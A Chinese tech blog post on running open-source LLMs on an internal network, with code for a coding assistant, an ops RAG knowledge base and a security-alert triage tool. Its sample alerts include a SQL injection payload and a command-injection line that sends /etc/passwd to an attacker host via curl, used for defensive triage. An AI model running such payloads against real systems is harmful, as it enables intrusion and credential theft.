当前位置：首页 > news >正文

开源模型落地实战｜开发、运维、安全各岗位 AI 应用经验分享

news 2026/8/9 3:25:57

前面几篇文章聊 AI 提效的时候，评论区有同学提了个很现实的问题："你说用 GPT-4o，但我们公司数据不能出内网，API 也没法调，咋整？"
这问题问到点子上了。不是所有公司都能把数据往公网大模型上送的，尤其金融、医疗、政企这些行业，数据合规是红线。所以这篇专门聊开源模型在内网的落地实战——用 Qwen、DeepSeek、Llama 这些开源模型，在自己的服务器上跑起来，让开发、运维、安全三个岗位都能用上。

这篇不是理论科普，是真刀真枪部署过之后的经验分享。代码能跑，场景真实，踩过的坑也一并写出来。

一、为什么是开源模型？不是因为省钱

先说清楚一件事：选开源模型，省钱只是附带好处，真正的驱动力是三个字——数据不出门。

你看这三个场景：

开发同学想用 AI 辅助写代码，但代码是公司的核心资产，能往公网传吗？
运维同学想让 AI 分析日志，但日志里有用户数据和系统拓扑，能往公网传吗？
安全同学想让 AI 分析攻击载荷，但攻击载荷本身就是敏感信息，能往公网传吗？

都不能。所以你得在内网部署一套自己的 AI 能力。这就是开源模型的核心价值——把 AI 能力装进你的机房，数据自始至终不出门。

下面这张图是我们团队实际部署的架构，给大家参考：

简单解释一下这套架构的思路：

多模型并行：不同任务用不同模型。代码生成用 Qwen2.5-Coder，通用推理用 DeepSeek-V3 或 Qwen2.5-72B
vLLM 做推理引擎：比原生 Transformers 快好几倍，支持 PagedAttention
RAG 管线：内部文档做向量化存到 Milvus，AI 回答时可以检索内部知识
统一 API 网关：各岗位统一通过一个入口访问，方便做权限控制和用量统计

好，架构说完了，下面按岗位拆解实战经验。

二、开发岗：内网搭一套 AI 编码助手

2.1 模型选型：别贪大，合适就行

开发岗用 AI 最多的场景是代码生成和代码理解。我们试过好几个模型，踩了不少坑，最终结论是：

模型	显存需求	代码能力	适用场景
Qwen2.5-Coder-32B	2×A100(80G)	很强	日常编码主力
DeepSeek-Coder-V2	4×A100(80G)	极强	复杂逻辑/算法
Qwen2.5-Coder-7B	1×A100(40G)	够用	轻量任务/IDE插件
CodeLlama-13B	1×A100(40G)	一般	已淘汰

经验教训：不要一上来就上最大的模型。72B 的模型推理慢、显存贵，如果你大部分需求就是生成 CRUD 和写单测，32B 的 Coder 模型完全够用，速度快三倍。

2.2 部署：vLLM 一键拉起

部署这块我们用 vLLM，比原生 HuggingFace 推理快太多了。核心就几行命令：

# 拉起 Qwen2.5-Coder-32B 推理服务 python -m vllm.entrypoints.openai.api_server \ --model Qwen/Qwen2.5-Coder-32B-Instruct \ --tensor-parallel-size 2 \ --gpu-memory-utilization 0.9 \ --max-model-len 8192 \ --port 8000 \ --trust-remote-code

vLLM 最好的一点是——它兼容 OpenAI API 格式。这意味着你之前写的调 OpenAI 的代码，只要改个 base_url 就能直接用，迁移成本几乎为零：

""" 内网 AI 编码助手客户端 vLLM 兼容 OpenAI API，只需改 base_url 指向内网服务 """ import os from openai import OpenAI # 关键：指向内网 vLLM 服务，不碰公网 client = OpenAI( base_url="http://10.0.1.100:8000/v1", # 内网 vLLM 地址 api_key="internal-not-real-key", # vLLM 默认不校验 key，随便填 ) MODEL = "Qwen/Qwen2.5-Coder-32B-Instruct" # 团队代码规范，每次请求带上，让模型按规范生成 TEAM_CONVENTIONS = """ ## 团队规范 1. Python 代码遵循 PEP8，使用 black 格式化 2. 函数必须有类型注解和 docstring 3. 异常处理不能 bare except，必须捕获具体异常 4. 日志用 structlog，不要用 print 5. 配置从环境变量读取，不硬编码 6. 数据库操作用 SQLAlchemy ORM，禁止裸 SQL """ def generate_code(requirement: str, language: str = "python") -> str: """根据需求描述生成代码""" prompt = f"""你是一位资深 {language} 工程师。请根据以下需求生成代码。 {TEAM_CONVENTIONS} 需求：{requirement} 要求： 1. 包含完整的类型注解和 docstring 2. 包含异常处理 3. 给出关键逻辑的注释 4. 如果涉及外部依赖，标注需要的包名 """ resp = client.chat.completions.create( model=MODEL, messages=[ {"role": "system", "content": "你是代码生成助手，严格遵循团队代码规范。"}, {"role": "user", "content": prompt}, ], temperature=0.2, # 代码生成用低温度，保证确定性 max_tokens=4096, ) return resp.choices[0].message.content def review_code(code: str, context: str = "") -> str: """AI 辅助 Code Review""" prompt = f"""请 Review 以下代码，重点关注： 1. 安全漏洞（SQL注入、XSS、敏感信息泄露等） 2. 性能问题（N+1查询、不必要的循环、内存泄漏等） 3. 逻辑错误和边界条件 4. 是否符合以下团队规范： {TEAM_CONVENTIONS} 代码上下文：{context} 代码：

{code}

输出格式：按严重程度分级（Critical / Warning / Suggestion），每个问题给出具体行号和修改建议。 """ resp = client.chat.completions.create( model=MODEL, messages=[{"role": "user", "content": prompt}], temperature=0.1, max_tokens=4096, ) return resp.choices[0].message.content # ====== 实际使用示例 ====== if __name__ == "__main__": # 场景1：生成一个 Redis 分布式锁的工具类 code = generate_code( "实现一个 Redis 分布式锁工具类，支持自动续期和可重入，" "要求有完整的异常处理和日志记录" ) print("=== 生成的代码 ===") print(code) # 场景2：让 AI review 一段可能有问题的代码 suspect_code = ''' def get_user_orders(user_id): conn = get_db_connection() cursor = conn.cursor() cursor.execute(f"SELECT * FROM orders WHERE user_id = {user_id}") rows = cursor.fetchall() result = [] for row in rows: order = dict(row) # 查每个订单的商品明细 cursor.execute(f"SELECT * FROM order_items WHERE order_id = {row['id']}") items = cursor.fetchall() order['items'] = [dict(i) for i in items] result.append(order) return result ''' review_result = review_code(suspect_code, "获取用户订单列表的接口") print("\n=== Code Review 结果 ===") print(review_result)

上面那段有问题的代码，AI Review 的输出大概是这样的：

Critical:
SQL 注入（第4行、第9行）：使用 f-string 拼接 SQL，user_id 直接插入查询语句。应使用参数化查询。
N+1 查询（第8-9行）：循环中执行 SQL 查询订单明细，100 个订单就是 101 次查询。应使用 JOIN 或批量查询。
Warning:
3\.连接未释放（全文）：没有 try-finally 或上下文管理器，异常时连接泄漏。
4\. \\SELECT \\\*（第4、9行）：查出不需要的字段，影响性能。
Suggestion:
5\. 建议使用 SQLAlchemy ORM 替代裸 SQL。
6\. 建议加分页，防止返回大量数据。

这就是内网 AI 编码助手的实际效果——数据不出内网，代码照样能 review。而且因为 vLLM 兼容 OpenAI 格式，你之前写的所有调 OpenAI 的工具链都能无缝迁移。

2.3 IDE 集成：让 AI 跟着你写代码

光有命令行工具不够，开发同学真正需要的是在 IDE 里实时补全。我们用 Continue（开源的 AI 编程助手插件）对接内网 vLLM，配置很简单：

// ~/.continue/config.json { "models": [ { "title": "内网 Qwen Coder", "provider": "openai", "model": "Qwen/Qwen2.5-Coder-32B-Instruct", "apiBase": "http://10.0.1.100:8000/v1", "apiKey": "internal" } ], "tabAutocompleteModel": { "title": "内网补全模型", "provider": "openai", "model": "Qwen/Qwen2.5-Coder-7B-Instruct", "apiBase": "http://10.0.1.101:8000/v1", "apiKey": "internal" }, "allowAnonymousTelemetry": false }

这里有个经验分享——代码补全用小模型，代码生成用大模型。补全场景对延迟敏感，用 7B 模型响应快；生成场景对质量要求高，用 32B 模型。两个模型分开部署，互不影响。

三、运维岗：AI + RAG = 内网运维大脑

3.1 运维岗的痛点：知识散落各处

运维岗最大的问题不是没有知识，是知识太散了——故障处理记录在 Confluence、监控配置在 Prometheus、告警规则在 AlertManager、历史排障经验在某个老运维的脑子里。新人来了遇到问题，得翻半天文档还找不到。

解决方案：把这些散落的知识喂给开源模型，建一个 RAG（检索增强生成）系统。问它问题，它先从知识库里检索相关文档，再结合模型能力给出回答。

3.2 实战：搭建运维知识库 RAG 系统

下面是完整的 RAG 系统代码，从文档导入到问答检索，一套跑通：

""" 运维知识库 RAG 系统 功能：文档导入 → 向量化存储 → 检索增强问答 """ import os import json import hashlib from dataclasses import dataclass from typing import List, Optional from datetime import datetime # ======== 1. 文档处理模块 ======== @dataclass class DocumentChunk: chunk_id: str source: str # 来源文档名 content: str # 文本内容 metadata: dict # 元数据（标签、时间等） embedding: Optional[List[float]] = None class DocumentProcessor: """文档分块处理器""" def __init__(self, chunk_size=500, chunk_overlap=50): self.chunk_size = chunk_size # 每块大约500字符 self.chunk_overlap = chunk_overlap # 块之间重叠50字符，保证上下文连贯 def process_markdown(self, content: str, source: str) -> List[DocumentChunk]: """处理 Markdown 文档，按标题分块""" # 按二级标题分块，保持语义完整 sections = self._split_by_headers(content) chunks = [] for section_title, section_text in sections: # 如果某段太长，进一步按 chunk_size 切分 if len(section_text) > self.chunk_size * 2: sub_chunks = self._split_by_size(section_text) for i, sub in enumerate(sub_chunks): chunks.append(self._make_chunk( source, f"{section_title} (part {i+1})", sub )) else: chunks.append(self._make_chunk(source, section_title, section_text)) return chunks def process_log_pattern(self, log_text: str, source: str) -> List[DocumentChunk]: """处理故障日志/排障记录""" # 把每次故障的处理过程作为一个 chunk incidents = log_text.split("---INCIDENT---") chunks = [] for inc in incidents: inc = inc.strip() if inc: chunks.append(self._make_chunk(source, "incident", inc)) return chunks def _split_by_headers(self, content): """按 Markdown 标题分块""" sections = [] current_title = "前言" current_text = "" for line in content.split("\n"): if line.startswith("## "): if current_text.strip(): sections.append((current_title, current_text.strip())) current_title = line[3:].strip() current_text = "" else: current_text += line + "\n" if current_text.strip(): sections.append((current_title, current_text.strip())) return sections def _split_by_size(self, text): """按固定大小切分，带重叠""" chunks = [] start = 0 while start < len(text): end = start + self.chunk_size chunks.append(text[start:end]) start = end - self.chunk_overlap return chunks def _make_chunk(self, source, section, text): chunk_id = hashlib.md5(f"{source}:{section}:{text[:50]}".encode()).hexdigest()[:12] return DocumentChunk( chunk_id=chunk_id, source=source, content=text, metadata={"section": section, "imported_at": datetime.now().isoformat()}, ) # ======== 2. 向量存储模块 ======== class VectorStore: """向量数据库封装（实际用 Milvus / Chroma / FAISS）""" def __init__(self, embedding_model_client): self.embedding_client = embedding_model_client self.store = {} # 简化实现，实际用 Milvus def add_documents(self, chunks: List[DocumentChunk]): """文档入库：先向量化再存储""" for chunk in chunks: # 调用 Embedding 模型生成向量 chunk.embedding = self._get_embedding(chunk.content) self.store[chunk.chunk_id] = chunk def search(self, query: str, top_k: int = 5) -> List[DocumentChunk]: """检索最相关的 top_k 个文档块""" query_vec = self._get_embedding(query) # 计算余弦相似度 scored = [] for chunk in self.store.values(): score = self._cosine_similarity(query_vec, chunk.embedding) scored.append((score, chunk)) scored.sort(key=lambda x: x[0], reverse=True) return [chunk for _, chunk in scored[:top_k]] def _get_embedding(self, text: str) -> List[float]: """调用内网 Embedding 模型""" # 实际用 bge-large-zh 或 Qwen 的 embedding 模型 resp = self.embedding_client.embeddings.create( model="bge-large-zh-v1.5", input=text, ) return resp.data[0].embedding def _cosine_similarity(self, vec_a, vec_b): import math dot = sum(a * b for a, b in zip(vec_a, vec_b)) norm_a = math.sqrt(sum(a * a for a in vec_a)) norm_b = math.sqrt(sum(b * b for b in vec_b)) return dot / (norm_a * norm_b + 1e-8) # ======== 3. RAG 问答模块 ======== class OpsRAGAssistant: """运维 RAG 问答助手""" SYSTEM_PROMPT = """你是一位资深运维工程师，正在回答同事的运维问题。 请根据提供的参考文档回答问题。回答要求： 1. 优先使用参考文档中的信息，不要编造 2. 如果参考文档中没有相关信息，明确说"知识库中暂无相关记录" 3. 给出具体可操作的建议，不要泛泛而谈 4. 引用信息来源（文档名和章节） """ def __init__(self, llm_client, vector_store: VectorStore): self.llm = llm_client self.store = vector_store def ask(self, question: str) -> dict: """提问并获取回答""" # 1. 检索相关文档 relevant_docs = self.store.search(question, top_k=5) if not relevant_docs: return { "answer": "知识库中暂无相关记录，建议补充对应文档后重试。", "sources": [], } # 2. 拼接上下文 context = self._build_context(relevant_docs) # 3. 调用大模型生成回答 prompt = f"""参考文档： {context} 问题：{question} """ resp = self.llm.chat.completions.create( model="Qwen/Qwen2.5-72B-Instruct", messages=[ {"role": "system", "content": self.SYSTEM_PROMPT}, {"role": "user", "content": prompt}, ], temperature=0.3, max_tokens=2048, ) answer = resp.choices[0].message.content return { "answer": answer, "sources": [ {"doc": d.source, "section": d.metadata.get("section", "")} for d in relevant_docs ], } def _build_context(self, docs: List[DocumentChunk]) -> str: """把检索到的文档块拼成上下文""" parts = [] for i, doc in enumerate(docs, 1): parts.append( f"--- 参考文档 {i} ---\n" f"来源: {doc.source} > {doc.metadata.get('section', '')}\n" f"内容: {doc.content}\n" ) return "\n".join(parts) # ======== 4. 完整使用示例 ======== if __name__ == "__main__": from openai import OpenAI # 内网模型客户端 llm = OpenAI(base_url="http://10.0.1.100:8000/v1", api_key="internal") embedding_client = OpenAI(base_url="http://10.0.1.102:8000/v1", api_key="internal") # 初始化组件 processor = DocumentProcessor() store = VectorStore(embedding_client) assistant = OpsRAGAssistant(llm, store) # ---- 步骤1：导入运维文档 ---- # 假设这是你的故障处理记录 incident_log = """ ---INCIDENT--- 时间：2026-07-15 凌晨2:30 现象：订单服务 5xx 错误率从 0.1% 飙到 15% 排查过程： 1. 查看监控发现数据库连接池打满（active=50, waiting=23） 2. 查慢查询日志发现一条未走索引的全表扫描SQL 3. 该SQL是当天上线的新功能引入的 处置： 1. 紧急回滚当天发布 2. 连接池使用率恢复正常 3. 给该SQL加索引后重新发布 根因：新上线代码引入慢SQL，占满连接池导致服务不可用 经验：上线前必须Review SQL，慢查询超过100ms的不能上线 ---INCIDENT--- 时间：2026-07-20 上午10:00 现象：Redis集群某个节点内存使用率 95% 排查过程： 1. 查看Redis的大key，发现一个 hash 有 200万个 field 2. 该hash是某个活动的排行榜数据，未设置过期时间 3. 活动已结束但数据未清理 处置： 1. 手动删除该hash（用 UNLINK 避免阻塞） 2. 给排行榜数据加上 TTL 3. 补充监控告警：单个key内存超过100MB告警 根因：活动数据未设置过期时间，内存持续增长 经验：所有缓存必须设置TTL，大key要拆分 """ chunks = processor.process_log_pattern(incident_log, "故障处理记录.md") store.add_documents(chunks) print(f"已导入 {len(chunks)} 条故障记录") # ---- 步骤2：提问 ---- questions = [ "数据库连接池打满了怎么处理？", "Redis内存占用过高怎么排查？", "上线前应该注意什么？", ] for q in questions: result = assistant.ask(q) print(f"\n{'='*60}") print(f"问题: {q}") print(f"回答: {result['answer'][:200]}...") print(f"来源: {result['sources']}")

这就是运维 RAG 系统的实际效果——你把历史故障处理记录喂进去，下次类似故障发生时，问它就能直接给出排查思路和处置方案。新人来了不用再翻聊天记录找经验，直接问 AI 就行。

有个经验特别想分享：RAG 的效果好不好，70% 取决于文档质量，30% 才取决于模型。你的知识库如果全是复制粘贴的水文，再强的模型也救不了。所以搭建 RAG 之前，先花时间整理好你的文档。

四、安全岗：开源模型做安全分析的独特优势

4.1 为什么安全岗特别需要开源模型

安全岗的数据敏感度是最高的——攻击载荷、漏洞细节、内网拓扑、蜜罐日志……这些东西别说往公网传了，连存储都要加密。所以安全岗用 AI 的唯一可行路径就是内网部署开源模型。

但安全岗用开源模型还有一个独特优势：可以针对安全场景做专门微调。通用大模型对安全载荷的理解其实一般，但如果你拿安全团队的标注数据微调一下，效果会有质的飞跃。

4.2 实战：AI 辅助安全日志分析

场景：安全运营中心（SOC）每天收到成千上万条告警，人工逐条分析根本看不过来。用 AI 做初筛，把高危的挑出来人工确认。

""" AI 辅助安全告警分析系统 功能：告警批量分析 → 分级 → 生成处置建议 → 推送给安全工程师 """ import os import json from dataclasses import dataclass, field from datetime import datetime from typing import List from enum import Enum class Severity(Enum): CRITICAL = "critical" HIGH = "high" MEDIUM = "medium" LOW = "low" INFO = "info" @dataclass class SecurityEvent: event_id: str timestamp: str source_ip: str dest_ip: str event_type: str # waf_alert / ids_alert / edr_alert raw_data: str # 原始告警数据 raw_payload: str = "" # 攻击载荷（如果有） ai_analysis: dict = field(default_factory=dict) class SecurityAIBatchAnalyzer: """安全告警批量 AI 分析器""" # 分析用的 Prompt 模板 ANALYSIS_PROMPT = """你是安全分析师，请分析以下安全告警： 告警信息： - 事件ID: {event_id} - 时间: {timestamp} - 源IP: {source_ip} - 目标IP: {dest_ip} - 告警类型: {event_type} - 原始数据: {raw_data} - 攻击载荷: {raw_payload} 请分析： 1. 攻击类型判断（SQL注入/XSS/RCE/扫描/暴力破解/CC攻击/其他） 2. 攻击是否可能成功？（结合载荷特征判断） 3. 严重等级（critical/high/medium/low/info） 4. 建议的处置动作（封IP/加WAF规则/人工排查/忽略） 5. 置信度（0-1） 严格按 JSON 格式输出，不要输出其他内容。 """ def __init__(self, llm_client, model_name="Qwen/Qwen2.5-72B-Instruct"): self.llm = llm_client self.model = model_name def analyze_batch(self, events: List[SecurityEvent]) -> List[SecurityEvent]: """批量分析安全事件""" results = [] for event in events: try: analysis = self._analyze_single(event) event.ai_analysis = analysis results.append(event) except Exception as e: event.ai_analysis = { "error": str(e), "severity": "medium", # 分析失败默认 medium，人工兜底 "action": "manual_review", } results.append(event) return results def _analyze_single(self, event: SecurityEvent) -> dict: """分析单个安全事件""" prompt = self.ANALYSIS_PROMPT.format( event_id=event.event_id, timestamp=event.timestamp, source_ip=event.source_ip, dest_ip=event.dest_ip, event_type=event.event_type, raw_data=event.raw_data[:2000], # 截断防超长 raw_payload=event.raw_payload[:1000], ) resp = self.llm.chat.completions.create( model=self.model, messages=[ {"role": "system", "content": "你是安全分析专家，输出必须是合法JSON。"}, {"role": "user", "content": prompt}, ], temperature=0.1, # 安全分析要确定性 max_tokens=1024, ) return json.loads(resp.choices[0].message.content) def generate_report(self, analyzed_events: List[SecurityEvent]) -> dict: """生成批量分析报告""" # 按严重等级分组 by_severity = {} for event in analyzed_events: sev = event.ai_analysis.get("severity", "info") by_severity.setdefault(sev, []).append(event) # 筛选需要立即处置的 critical_events = by_severity.get("critical", []) high_events = by_severity.get("high", []) report = { "report_time": datetime.now().isoformat(), "total_events": len(analyzed_events), "summary": { "critical": len(critical_events), "high": len(high_events), "medium": len(by_severity.get("medium", [])), "low": len(by_severity.get("low", [])), "info": len(by_severity.get("info", [])), }, "need_immediate_action": [], "recommended_ignores": [], } for event in critical_events + high_events: report["need_immediate_action"].append({ "event_id": event.event_id, "source_ip": event.source_ip, "attack_type": event.ai_analysis.get("attack_type", ""), "severity": event.ai_analysis.get("severity", ""), "action": event.ai_analysis.get("action", ""), "confidence": event.ai_analysis.get("confidence", 0), }) for event in by_severity.get("info", []): if event.ai_analysis.get("confidence", 0) > 0.9: report["recommended_ignores"].append(event.event_id) return report def push_alert(self, report: dict, webhook_url: str): """推送告警到企业微信/钉钉""" critical_count = report["summary"]["critical"] high_count = report["summary"]["high"] if critical_count + high_count == 0: return # 没有需要立即处置的，不打扰 message = f"""安全告警分析报告 时间: {report['report_time']} 总告警数: {report['total_events']} 严重: {critical_count} | 高危: {high_count} 需要立即处置:""" for item in report["need_immediate_action"][:10]: # 最多展示10条 message += f"\n- [{item['severity'].upper()}] {item['source_ip']} - {item['attack_type']} → {item['action']}" # 调用 webhook 推送 import requests requests.post(webhook_url, json={"text": message}) # ====== 完整使用示例 ====== if __name__ == "__main__": from openai import OpenAI llm = OpenAI(base_url="http://10.0.1.100:8000/v1", api_key="internal") analyzer = SecurityAIBatchAnalyzer(llm) # 模拟一批安全告警 events = [ SecurityEvent( event_id="SEC-001", timestamp="2026-08-08T14:00:00", source_ip="203.0.113.10", dest_ip="10.0.2.5", event_type="waf_alert", raw_data="URL: /api/search?q=test, Action: monitored", raw_payload="test' UNION SELECT username,password FROM users--", ), SecurityEvent( event_id="SEC-002", timestamp="2026-08-08T14:01:00", source_ip="198.51.100.5", dest_ip="10.0.2.5", event_type="waf_alert", raw_data="URL: /, User-Agent: Mozilla/5.0, Action: monitored", raw_payload="GET / HTTP/1.1 (normal request, likely scanner probe)", ), SecurityEvent( event_id="SEC-003", timestamp="2026-08-08T14:02:00", source_ip="203.0.113.10", dest_ip="10.0.2.5", event_type="ids_alert", raw_data="Pattern: RCE attempt detected, matching rule: command-injection", raw_payload="; cat /etc/passwd | curl http://203.0.113.10/exfil -d @-", ), ] # 1. 批量分析 analyzed = analyzer.analyze_batch(events) # 2. 生成报告 report = analyzer.generate_report(analyzed) print(json.dumps(report, ensure_ascii=False, indent=2)) # 3. 推送告警（如果有高危） # analyzer.push_alert(report, webhook_url=os.getenv("SEC_WEBHOOK"))

跑完之后报告大概是这样的：

{ "total_events": 3, "summary": {"critical": 1, "high": 1, "medium": 0, "low": 0, "info": 1}, "need_immediate_action": [ { "event_id": "SEC-003", "source_ip": "203.0.113.10", "attack_type": "RCE - 命令注入，尝试读取passwd并通过curl外传", "severity": "critical", "action": "立即封禁源IP + 排查是否已被攻陷", "confidence": 0.95 }, { "event_id": "SEC-001", "source_ip": "203.0.113.10", "attack_type": "SQL注入 - UNION注入尝试读取用户表", "severity": "high", "action": "封禁源IP + 更新WAF规则", "confidence": 0.9 } ], "recommended_ignores": ["SEC-002"] }

3 条告警，AI 几秒钟分好级了：1 条 critical（RCE）、1 条 high（SQL注入）、1 条 info（正常扫描探测，建议忽略）。安全同学只需要关注前两条，第三条不用浪费时间看。

而且注意——所有分析都在内网完成，攻击载荷没有往外传一个字节。这就是开源模型对安全岗的核心价值。

4.3 进阶：安全模型微调

如果通用模型的分析效果还不够好，可以拿安全团队的标注数据做微调。下面是微调的数据准备脚本骨架：

""" 安全模型微调数据准备 把历史安全告警 + 人工标注结果转成微调数据集 """ import json def prepare_finetune_dataset(raw_alerts: list, output_file: str): """ raw_alerts: 原始告警+人工标注列表 输出: Qwen 兼容的微调数据集 (JSONL) """ dataset = [] for alert in raw_alerts: # 构造 instruction（输入） instruction = f"""分析以下安全告警： 类型: {alert['event_type']} 源IP: {alert['source_ip']} 载荷: {alert['payload']} 请判断攻击类型、严重等级和建议处置。""" # 构造 output（人工标注的标准答案） output = json.dumps({ "attack_type": alert["labeled_attack_type"], "severity": alert["labeled_severity"], "action": alert["labeled_action"], "confidence": 1.0, }, ensure_ascii=False) dataset.append({ "instruction": instruction, "input": "", "output": output, }) with open(output_file, "w", encoding="utf-8") as f: for item in dataset: f.write(json.dumps(item, ensure_ascii=False) + "\n") print(f"微调数据集已生成: {output_file}, 共 {len(dataset)} 条") return output_file # 实际微调用 LLaMA-Factory 或 ms-swift 框架 # 命令示例（LLaMA-Factory）: # llamafactory-cli train \ # --model_name_or_path Qwen/Qwen2.5-7B-Instruct \ # --dataset sec_finetune.jsonl \ # --finetuning_type lora \ # --lora_target q_proj,v_proj \ # --output_dir ./sec-model-lora

微调之后，模型对你们公司常见攻击模式的理解会明显提升。但注意：微调数据至少要 500 条以上才有明显效果，少于这个量不如直接用 RAG。